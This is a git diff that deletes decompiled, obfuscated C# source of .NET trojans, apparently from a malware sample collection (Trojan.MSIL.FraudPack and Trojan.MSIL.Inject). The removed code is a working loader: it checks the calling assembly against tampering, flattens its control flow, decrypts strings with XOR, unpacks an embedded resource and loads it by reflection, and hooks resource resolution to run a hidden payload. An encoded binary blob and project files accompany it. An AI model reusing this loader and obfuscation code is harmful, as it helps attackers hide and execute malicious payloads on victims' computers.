!\u000E.\u0002() ? -1509110933 : \u000E.\u0003.\u0005(\u000E.\u0003.\u0003(\u000E.\u0002(typeof (\u000E.\u0006)), \u000E.\u0003.\u0005(\u000E.\u0002(typeof (\u000E.\u0005)), \u000E.\u0002(typeof (\u000E.\u000F)))), \u000E.\u0002\u2000.\u0002()); - } - - private sealed class \u0006 - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u0006).Assembly || !\u000E.\u0002() ? -82806859 : \u000E.\u0003.\u0002(\u000E.\u0002(typeof (\u000E.\u0008)), \u000E.\u0002(typeof (\u000E.\u000E)) ^ \u000E.\u0003.\u0003(\u000E.\u0002(typeof (\u000E.\u0006)), \u000E.\u0003.\u0005(\u000E.\u0002(typeof (\u000E.\u0002\u2000)), \u000E.\u000E.\u0002()))); - } - - private sealed class \u0008 - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u0008).Assembly || !\u000E.\u0002() ? 1294352278 : \u000E.\u0003.\u0005(\u000E.\u0003.\u0002(\u000E.\u0006.\u0002() ^ -~~--~-~~-527758445, \u000E.\u0002(typeof (\u000E.\u000E))), \u000E.\u0003.\u0003(\u000E.\u0002(typeof (\u000E.\u0005)) ^ \u000E.\u0002(typeof (\u000E.\u0002\u2000)), -~~-~-~--~~-520760563)); - } - - private sealed class \u000E - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u000E).Assembly || !\u000E.\u0002() ? 402344241 : \u000E.\u0003.\u0005(\u000E.\u0002(typeof (\u000E.\u000E)), \u000E.\u0003.\u0002(\u000E.\u0002(typeof (\u000E.\u0005)), \u000E.\u0003.\u0003(\u000E.\u0002(typeof (\u000E.\u0006)), \u000E.\u0003.\u0005(\u000E.\u0002(typeof (\u000E.\u0008)), \u000E.\u0003.\u0002(\u000E.\u0002(typeof (\u000E.\u000F)), \u000E.\u0002(typeof (\u000E.\u0002\u2000))))))); - } - - private sealed class \u000F - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u000F).Assembly || !\u000E.\u0002() ? -56237163 : \u000E.\u0003.\u0003(\u000E.\u0003.\u0003(\u000E.\u0008.\u0002(), \u000E.\u0003.\u0002(\u000E.\u0002(typeof (\u000E.\u000F)), \u000E.\u0006.\u0002())), \u000E.\u0002(typeof (\u000E.\u0002\u2000))); - } - - private sealed class \u0002\u2000 - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u0002\u2000).Assembly || !\u000E.\u0002() ? 1106695601 : \u000E.\u0003.\u0002(\u000E.\u0002(typeof (\u000E.\u0002\u2000)), \u000E.\u0003.\u0005(\u000E.\u0003.\u0003(\u000E.\u0002(typeof (\u000E.\u000F)), \u000E.\u0002(typeof (\u000E.\u0005))), \u000E.\u0003.\u0005(\u000E.\u0002(typeof (\u000E.\u0008)) ^ -~~-~-~-~-~523414304, \u000E.\u000F.\u0002()))); - } -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/          ​   b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/          ​   deleted file mode 100644 index 9a2121108db20d0a7eb8bca9e26f6d4d38dd3dee..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1210 zcmWNIc{~$*9LJpxvn*p)w1j4~OlT@0*RnkfS>@=l?AefHj>1CERJ?j*4-uM`BeWdL z70*4AiJX8{O4*?x?#^s;k!<@Ju2t_8CmS;E+b(b4 z!wEvH}=+M;(LfsgjXX6ercg1AkX?!_2)=_6Vo8 z9XK?0ePC3u%VaRHC`^EE1q9ymsL*ccYQ*ViUt8bT%;W&Q(ogl#`N_FHD<@{I~l~A6nOUjCE;p? z=FKTi1>+B12AQRtnm1>q932y&Ee? z@dp$PS^ zd$S|ZZ1&oiq*F#9vy4UT0A>)j-mfr!>AX! za0rt6@ojFs_zj;hu<-~y6|fXsZO6g7-?>d@$wHm5t(KNJu1L-F<$Ei`?j!)Ami21uztAbO6BhLWIII3k$7b;YL4}(!_ng#&5DLfQ!p`sgev_EJB)Y=IlpJNlKP1|KC z&yCh2FuwrUa!@q^nmeRd31u7IZI+wa=a;_-@GB?$8833#Qwr|!R?4IC2Ziq8V_JOl zE}-7yCkPT1v?uWnJYFge@l84>_v)l25L>uzuhpg3F%J_rcv#Ry+s`&{hy3?hzXJ`K zbpk*~)}@m7VvKIowajCIepwKtLQ(niI%S1&8Pq6-zF|#yt~kG^?mVa`j6)W3Y6GrI zBp2^xky#z?;i#2ubZmYf(KHG4UydC7dufwFdUXDD#WMgLPC#mpFxT7BW*3##j*I}J zc9nGPBe>@e(@HS2OX_oqpA#qM0T4SATwRh%NI8>C%8EQLYqV2l@7h4inLO7X<9CA! z%{CSi98r6@!}}Ux515Y^U<~1JRST=;6A_?7hmQR| - - - - Debug - AnyCPU - {E533FF14-6877-47A8-A601-2EAD4BE6E46A} - WinExe - Monkey - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/Trojan.MSIL.Inject.aey.sln b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/Trojan.MSIL.Inject.aey.sln deleted file mode 100644 index 9a15531c..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/Trojan.MSIL.Inject.aey.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Monkey", "Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.csproj", "{E533FF14-6877-47A8-A601-2EAD4BE6E46A}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {E533FF14-6877-47A8-A601-2EAD4BE6E46A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {E533FF14-6877-47A8-A601-2EAD4BE6E46A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {E533FF14-6877-47A8-A601-2EAD4BE6E46A}.Release|Any CPU.ActiveCfg = Release|Any CPU - {E533FF14-6877-47A8-A601-2EAD4BE6E46A}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/_003C.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/_003C.cs deleted file mode 100644 index 5cbb80a1..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/_003C.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: < -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -internal sealed class \u003C -{ -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs deleted file mode 100644 index 59a3ab6b..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Reflection; - -[StandardModule] -internal sealed class \uE000 -{ - static \uE000() => \uE008.\uE000(); - - [STAThread] - public static void Main() - { - Assembly assembly = (Assembly) Assembly.Load(.\uE004).GetType(.\uE002 + .\uE007 + .\uE003).GetMethod(.\uE005).Invoke((object) .\uE006, new object[0]); - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs deleted file mode 100644 index 4c21cb80..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs +++ /dev/null @@ -1,498 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -using System; -using System.IO; -using System.Reflection; -using System.Threading; - -internal sealed class \uE008 -{ - private static Assembly \uE000; - private static object \uE001 = new object(); - private static int \uE002; - private static string[] \uE003; - - public static void \uE000() - { - if ((\uE008.\uE002 == 0 ? 0 : 1) != 0) - return; - try - { - Monitor.Enter(\uE008.\uE001); - if ((\uE008.\uE002 == 0 ? 0 : 1) != 0) - return; -label_19: - int num1 = -226195680; - int num2 = -561798657; -label_3: - while (true) - { - num2 ^= 555203725; -label_11: - int num3 = 968784119; - int num4 = -376123481; -label_5: - while (true) - { - num4 ^= 370221929; -label_7: - int num5 = 169643759; - while (true) - { - switch (num5 ^ 170977803) - { - case 2909411: -label_8: - num4 = -376123484; - num5 = 169643758; - continue; - case 2909412: - switch (num4 + 8000308) - { - case 0: - goto label_11; - case 1: - switch (num3) - { - case 1949493: -label_14: - num2 = -561798659; - num3 = 968784118; - goto label_4; - case 1949494: - switch (num2 + 7070352) - { - case 0: - switch (num1 + 5290868) - { - case 0: - AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\uE008.\uE001); - num1 = -226195679; - goto label_2; - case 1: - goto label_22; - default: - goto label_18; - } - case 1: - goto label_19; - case 2: -label_2: - num1 ^= 220971948; - goto label_14; - default: - num3 = 968784116; - goto label_4; - } - case 1949495: - goto label_3; - default: - goto label_13; - } - case 2: -label_4: - num3 ^= 967034817; - goto label_8; - default: - num5 = 169643752; - continue; - } - case 2909413: - goto label_5; - default: - goto label_7; - } - } -label_13: - num4 = -376123483; - } -label_18: - num2 = -561798660; - } -label_22: - \uE008.\uE002 = 1; - } - finally - { - Monitor.Exit(\uE008.\uE001); - } - } - - public static string \uE000 => "ed404015d077ea06"; - - public static Assembly \uE001(object _param0, ResolveEventArgs _param1) - { - if ((\uE008.\uE003 == null ? 0 : 1) == 0) - { - try - { - Monitor.Enter(\uE008.\uE001); - if ((\uE008.\uE003 == null ? 0 : 1) == 0) - { -label_15: - int num1 = 1319863694; - int num2 = -1247360233; -label_3: - Stream manifestResourceStream; - while (true) - { - num2 ^= 1242423639; -label_7: - int num3 = 1536961512; - int num4 = -942752411; - while (true) - { - switch ((num4 ^ 946906395) + 4319108) - { - case 0: - goto label_7; - case 1: - switch (num3) - { - case 2222797: -label_10: - num2 = -1247360152; - num3 = 1536961513; - goto label_4; - case 2222798: - switch (num2 + 5559746) - { - case 0: - goto label_15; - case 1: - switch (num1) - { - case 3571212: - manifestResourceStream = typeof (\uE008).Assembly.GetManifestResourceStream(\uE008.\uE000); - num1 = 1319863695; - goto label_2; - case 3571213: - if (manifestResourceStream != null) - { - num1 = 1319863692; - goto label_2; - } - else - goto label_22; - case 3571214: - goto label_21; - default: - goto label_17; - } - case 2: -label_2: - num1 ^= 1318976386; - goto label_10; - default: -label_13: - int num5 = 357788384; - while (true) - { - switch (num5 ^ 357216823) - { - case 1693911: - num3 = 1536961515; - num5 = 357788399; - continue; - case 1693912: - goto label_4; - default: - goto label_13; - } - } - } - case 2222799: - goto label_3; - default: - num4 = -942752409; - continue; - } - case 2: -label_4: - num3 ^= 1539162406; - break; - } - num4 = -942752410; - } -label_17: - num2 = -1247360151; - } -label_21: - int num6 = 0; - goto label_23; -label_22: - num6 = 1; -label_23: - if (num6 == 0) - \uE008.\uE000 = \uE008.\uE002(manifestResourceStream); - } - } - finally - { - Monitor.Exit(\uE008.\uE001); - } - } - return (!\uE008.\uE003(_param1.Name) ? 1 : 0) == 0 ? \uE008.\uE000 : (Assembly) null; - } - - private static Assembly \uE002(Stream _param0) - { - MemoryStream input = \uE010.\uE000(_param0); - BinaryReader binaryReader = new BinaryReader((Stream) input); -label_2: - int num1 = -976949257; - int length; - int index; - string[] strArray; - while (true) - { - switch ((num1 ^ 979141528) + 6787986) - { - case 0: - strArray = new string[length]; - num1 = -976949272; - continue; - case 1: - length = binaryReader.ReadInt32(); - num1 = -976949258; - continue; - case 2: - index = 0; - num1 = -976949271; - continue; - case 3: - if (index != 0) - { - num1 = -976949270; - continue; - } - goto label_9; - case 4: - goto label_8; - default: - goto label_2; - } - } -label_8: - int num2 = 0; - goto label_10; -label_9: - num2 = 1; -label_10: - if (num2 != 0) - goto label_12; -label_11: - strArray[index] = binaryReader.ReadString(); - ++index; -label_12: - if ((index >= length ? 0 : 1) == 0) - { - \uE008.\uE003 = strArray; -label_25: - int num3 = -143477510; - int num4 = -1430655755; -label_15: - byte[] numArray; - while (true) - { - num4 ^= 1426872453; -label_19: - int num5 = -80790779; - int num6 = -1051659499; - while (true) - { - switch ((num6 ^ 1053901982) + 8276087) - { - case 0: - goto label_19; - case 1: - switch (num5 + 7895701) - { - case 0: -label_22: - num4 = -1430655766; - num5 = -80790780; - goto label_16; - case 1: - switch (num4 + 4869010) - { - case 0: - goto label_25; - case 1: - int count; - switch (num3 + 4299732) - { - case 0: - numArray = new byte[count]; - num3 = -143477511; - goto label_14; - case 1: - binaryReader.Read(numArray, 0, count); - num3 = -143477509; - goto label_14; - case 2: - count = (int) (input.Length - input.Position); - num3 = -143477512; - goto label_14; - case 3: - goto label_31; - default: - goto label_27; - } - case 2: -label_14: - num3 ^= 147640532; - goto label_22; - default: - num5 = -80790782; - goto label_16; - } - case 2: - goto label_15; - default: - num6 = -1051659497; - continue; - } - case 2: -label_16: - num5 ^= 78167657; - break; - } - num6 = -1051659500; - } -label_27: - num4 = -1430655765; - } -label_31: - return Assembly.Load(numArray); - } - goto label_11; - } - - private static bool \uE003(string _param0) - { - if ((\uE008.\uE003 == null ? 1 : 0) == 0) - { -label_6: - int num1 = 1477415917; - int num2 = 601725783; - int index; - string[] strArray; - while (true) - { - switch (num2 ^ 602759493) - { - case 3209744: - switch (num1) - { - case 3757452: - if (index != 0) - { - num1 = 1477415916; - goto label_1; - } - else - goto label_12; - case 3757453: - index = 0; - num1 = 1477415919; - goto label_1; - case 3757454: - strArray = \uE008.\uE003; - num1 = 1477415918; - goto label_1; - case 3757455: - goto label_11; - default: - num2 = 601725780; - continue; - } - case 3209745: - goto label_6; - case 3209746: -label_1: - num1 ^= 1479984739; - break; - } - num2 = 601725781; - } -label_11: - int num3 = 0; - goto label_13; -label_12: - num3 = 1; -label_13: - if (num3 != 0) - goto label_27; -label_14: - string str = strArray[index]; - if ((!_param0.Equals(str) ? 1 : 0) == 0) - { -label_22: - int num4 = -311275153; - int num5 = 878119074; -label_16: - bool flag; - while (true) - { - num5 ^= 880632524; -label_18: - int num6 = -433645422; - while (true) - { - switch ((num6 ^ 431101690) + 7008665) - { - case 0: -label_19: - num5 = 878119073; - num6 = -433645421; - continue; - case 1: - switch (num5) - { - case 2779756: - goto label_22; - case 2779757: - switch (num4 + 4671099) - { - case 0: - flag = true; - num4 = -311275156; - goto label_15; - case 1: - goto label_29; - default: - goto label_24; - } - case 2779758: -label_15: - num4 ^= 315287786; - goto label_19; - default: - num6 = -433645411; - continue; - } - case 2: - goto label_16; - default: - goto label_18; - } - } -label_24: - num5 = 878119072; - } -label_29: - return flag; - } - ++index; -label_27: - if ((index >= strArray.Length ? 0 : 1) != 0) - goto label_14; - } - return false; - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs deleted file mode 100644 index 1b6ca596..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -using System.IO; -using System.Reflection; - -internal sealed class \uE009 -{ - public static string \uE000(string _param0, int _param1) => string.Intern(\uE009.\uE000.\uE000.\uE000(_param0, _param1)); - - public static string \uE000 => "84785c03fc20bf7c"; - - private sealed class \uE000 - { - public static readonly \uE009.\uE000 \uE000; - private byte[] \uE001; - - static \uE000() - { - \uE008.\uE000(); - \uE009.\uE000.\uE000 = new \uE009.\uE000(); - } - - private \uE000() - { - Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(\uE009.\uE000); - if (manifestResourceStream == null) - return; - this.\uE001 = new byte[256]; - manifestResourceStream.Read(this.\uE001, 0, this.\uE001.Length); - } - - public string \uE000(string _param1, int _param2) - { - int length = _param1.Length; - int index = _param2 & (int) byte.MaxValue; - char[] charArray = _param1.ToCharArray(); - while (--length >= 0) - charArray[length] = (char) ((uint) charArray[length] ^ ((uint) this.\uE001[index] | (uint) _param2)); - return string.Intern(new string(charArray)); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs deleted file mode 100644 index 5726c9b8..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs +++ /dev/null @@ -1,1058 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -using System; -using System.Collections; - -internal sealed class \uE00A -{ - internal const int \uE000 = 32768; - internal const int \uE001 = 258; - internal const int \uE002 = 285; - internal const int \uE003 = 287; - internal const int \uE004 = 29; - internal const int \uE005 = 31; - internal const int \uE006 = 15; - internal const int \uE007 = 256; - internal const int \uE008 = 0; - internal const int \uE009 = 1; - internal const int \uE00A = 2; - internal const int \uE00B = 16; - internal const int \uE00C = 18; - internal const int \uE00D = 16; - internal const int \uE00E = 17; - internal const int \uE00F = 18; - private const int \uE010 = 257; - internal static \uE00B[] \uE011 = new \uE00B[288]; - internal static \uE00B[] \uE012; - internal static \uE00D \uE013; - internal static readonly int[] \uE014; - internal static readonly int[] \uE015; - internal static readonly int[] \uE016; - internal static readonly int[] \uE017; - internal static readonly int[] \uE018; - - static \uE00A() - { -label_2: - int num1 = 46; - int num2; - int index1; - while (true) - { - switch (num1) - { - case 0: - \uE00A.\uE015 = new int[29]; - num1 = 53; - continue; - case 1: - if (num2 != 0) - { - num1 = 54; - continue; - } - goto label_59; - case 2: - \uE00A.\uE015[12] = 19; - num1 = 29; - continue; - case 3: - \uE00A.\uE015[20] = 67; - num1 = 24; - continue; - case 4: - \uE00A.\uE014[17] = 1; - num1 = 36; - continue; - case 5: - \uE00A.\uE014[10] = 11; - num1 = 14; - continue; - case 6: - index1 = 8; - num1 = 40; - continue; - case 7: - \uE00A.\uE015[23] = 115; - num1 = 38; - continue; - case 8: - \uE00A.\uE014[15] = 2; - num1 = 25; - continue; - case 9: - \uE00A.\uE015[25] = 163; - num1 = 10; - continue; - case 10: - \uE00A.\uE015[26] = 195; - num1 = 35; - continue; - case 11: - \uE00A.\uE015[11] = 17; - num1 = 2; - continue; - case 12: - \uE00A.\uE014[8] = 10; - num1 = 30; - continue; - case 13: - \uE00A.\uE015[22] = 99; - num1 = 7; - continue; - case 14: - \uE00A.\uE014[11] = 4; - num1 = 22; - continue; - case 15: - \uE00A.\uE016 = new int[29]; - num1 = 6; - continue; - case 16: - \uE00A.\uE015[17] = 43; - num1 = 41; - continue; - case 17: - \uE00A.\uE014[1] = 17; - num1 = 43; - continue; - case 18: - \uE00A.\uE015[6] = 9; - num1 = 42; - continue; - case 19: - \uE00A.\uE014[14] = 13; - num1 = 8; - continue; - case 20: - \uE00A.\uE014[5] = 7; - num1 = 50; - continue; - case 21: - \uE00A.\uE015[15] = 31; - num1 = 51; - continue; - case 22: - \uE00A.\uE014[12] = 12; - num1 = 44; - continue; - case 23: - \uE00A.\uE014[7] = 6; - num1 = 12; - continue; - case 24: - \uE00A.\uE015[21] = 83; - num1 = 13; - continue; - case 25: - \uE00A.\uE014[16] = 14; - num1 = 4; - continue; - case 26: - \uE00A.\uE015[2] = 5; - num1 = 47; - continue; - case 27: - \uE00A.\uE015[1] = 4; - num1 = 26; - continue; - case 28: - \uE00A.\uE015[8] = 11; - num1 = 48; - continue; - case 29: - \uE00A.\uE015[13] = 23; - num1 = 34; - continue; - case 30: - \uE00A.\uE014[9] = 5; - num1 = 5; - continue; - case 31: - \uE00A.\uE015[10] = 15; - num1 = 11; - continue; - case 32: - \uE00A.\uE015[4] = 7; - num1 = 49; - continue; - case 33: - \uE00A.\uE014[4] = 8; - num1 = 20; - continue; - case 34: - \uE00A.\uE015[14] = 27; - num1 = 21; - continue; - case 35: - \uE00A.\uE015[27] = 227; - num1 = 52; - continue; - case 36: - \uE00A.\uE014[18] = 15; - num1 = 0; - continue; - case 37: - \uE00A.\uE014 = new int[19]; - num1 = 45; - continue; - case 38: - \uE00A.\uE015[24] = 131; - num1 = 9; - continue; - case 39: - \uE00A.\uE015[19] = 59; - num1 = 3; - continue; - case 40: - num2 = 0; - num1 = 1; - continue; - case 41: - \uE00A.\uE015[18] = 51; - num1 = 39; - continue; - case 42: - \uE00A.\uE015[7] = 10; - num1 = 28; - continue; - case 43: - \uE00A.\uE014[2] = 18; - num1 = 33; - continue; - case 44: - \uE00A.\uE014[13] = 3; - num1 = 19; - continue; - case 45: - \uE00A.\uE014[0] = 16; - num1 = 17; - continue; - case 46: - \uE00A.\uE012 = new \uE00B[32]; - num1 = 37; - continue; - case 47: - \uE00A.\uE015[3] = 6; - num1 = 32; - continue; - case 48: - \uE00A.\uE015[9] = 13; - num1 = 31; - continue; - case 49: - \uE00A.\uE015[5] = 8; - num1 = 18; - continue; - case 50: - \uE00A.\uE014[6] = 9; - num1 = 23; - continue; - case 51: - \uE00A.\uE015[16] = 35; - num1 = 16; - continue; - case 52: - \uE00A.\uE015[28] = 258; - num1 = 15; - continue; - case 53: - \uE00A.\uE015[0] = 3; - num1 = 27; - continue; - case 54: - goto label_58; - default: - goto label_2; - } - } -label_58: - int num3 = 0; - goto label_60; -label_59: - num3 = 1; -label_60: - if (num3 != 0) - goto label_64; -label_61: - if (index1 % 4 == 0) - ++num2; - \uE00A.\uE016[index1] = num2; - ++index1; -label_64: - if (index1 >= 28) - { - \uE00A.\uE017 = new int[30]; - \uE00A.\uE017[0] = 1; - \uE00A.\uE017[1] = 2; - \uE00A.\uE017[2] = 3; - \uE00A.\uE017[3] = 4; - \uE00A.\uE017[4] = 5; - \uE00A.\uE017[5] = 7; - \uE00A.\uE017[6] = 9; - \uE00A.\uE017[7] = 13; - \uE00A.\uE017[8] = 17; - \uE00A.\uE017[9] = 25; - \uE00A.\uE017[10] = 33; - \uE00A.\uE017[11] = 49; - \uE00A.\uE017[12] = 65; - \uE00A.\uE017[13] = 97; - \uE00A.\uE017[14] = 129; - \uE00A.\uE017[15] = 193; - \uE00A.\uE017[16] = 257; - \uE00A.\uE017[17] = 385; - \uE00A.\uE017[18] = 513; - \uE00A.\uE017[19] = 769; - \uE00A.\uE017[20] = 1025; - \uE00A.\uE017[21] = 1537; - \uE00A.\uE017[22] = 2049; - \uE00A.\uE017[23] = 3073; - \uE00A.\uE017[24] = 4097; - \uE00A.\uE017[25] = 6145; - \uE00A.\uE017[26] = 8193; - \uE00A.\uE017[27] = 12289; - \uE00A.\uE017[28] = 16385; - \uE00A.\uE017[29] = 24577; - \uE00A.\uE018 = new int[30]; - int index2 = 4; - int num4 = 0; - for (; index2 < 30; ++index2) - { - if (index2 % 2 == 0) - ++num4; - \uE00A.\uE018[index2] = num4; - } - for (int index3 = 0; index3 <= 143; ++index3) - { - \uE00A.\uE011[index3].\uE000 = 48 + index3; - \uE00A.\uE011[index3].\uE001 = 8; - } - for (int index4 = 144; index4 <= (int) byte.MaxValue; ++index4) - { - \uE00A.\uE011[index4].\uE000 = 400 + index4 - 144; - \uE00A.\uE011[index4].\uE001 = 9; - } - for (int index5 = 256; index5 <= 279; ++index5) - { - \uE00A.\uE011[index5].\uE000 = index5 - 256; - \uE00A.\uE011[index5].\uE001 = 7; - } - for (int index6 = 280; index6 <= 287; ++index6) - { - \uE00A.\uE011[index6].\uE000 = 192 + index6 - 280; - \uE00A.\uE011[index6].\uE001 = 8; - } - for (int index7 = 0; index7 <= 31; ++index7) - { - \uE00A.\uE012[index7].\uE000 = index7; - \uE00A.\uE012[index7].\uE001 = 5; - } - \uE00A.\uE013 = \uE00A.\uE004(\uE00A.\uE011, \uE00A.\uE012); - } - else - goto label_61; - } - - internal static int \uE000(int[] _param0, int[] _param1) - { - int num1 = 0; - int index = 0; - if ((index == 0 ? 1 : 0) != 0) - goto label_5; - else - goto label_2; -label_1: - int num2; - switch (num2) - { - case 0: - goto label_3; - case 1: - ++index; - goto label_5; - } -label_2: - num2 = 0; - goto label_1; -label_3: - num1 += _param0[index] * _param1[index]; - num2 = 1; - goto label_1; -label_5: - if (index >= _param0.Length) - return num1; - goto label_3; - } - - internal static int \uE001(int[] _param0, int[] _param1) - { - int num1 = 0; - int index1 = 0; - if ((index1 == 0 ? 1 : 0) != 0) - goto label_5; - else - goto label_2; -label_1: - int num2; - switch (num2) - { - case 0: - goto label_3; - case 1: - ++index1; - goto label_5; - } -label_2: - num2 = 0; - goto label_1; -label_3: - num1 += _param0[index1] * \uE00A.\uE011[index1].\uE001; - num2 = 1; - goto label_1; -label_5: - if (index1 >= _param0.Length) - { - for (int index2 = 0; index2 < _param1.Length; ++index2) - num1 += _param1[index2] * \uE00A.\uE012[index2].\uE001; - return num1; - } - goto label_3; - } - - internal static \uE00B[] \uE002(int[] _param0) - { - \uE00B[] objArray = new \uE00B[_param0.Length]; - int index = 0; - if ((index == 0 ? 1 : 0) != 0) - goto label_5; - else - goto label_2; -label_1: - int num; - switch (num) - { - case 0: - goto label_3; - case 1: - ++index; - goto label_5; - } -label_2: - num = 0; - goto label_1; -label_3: - objArray[index].\uE001 = _param0[index]; - num = 1; - 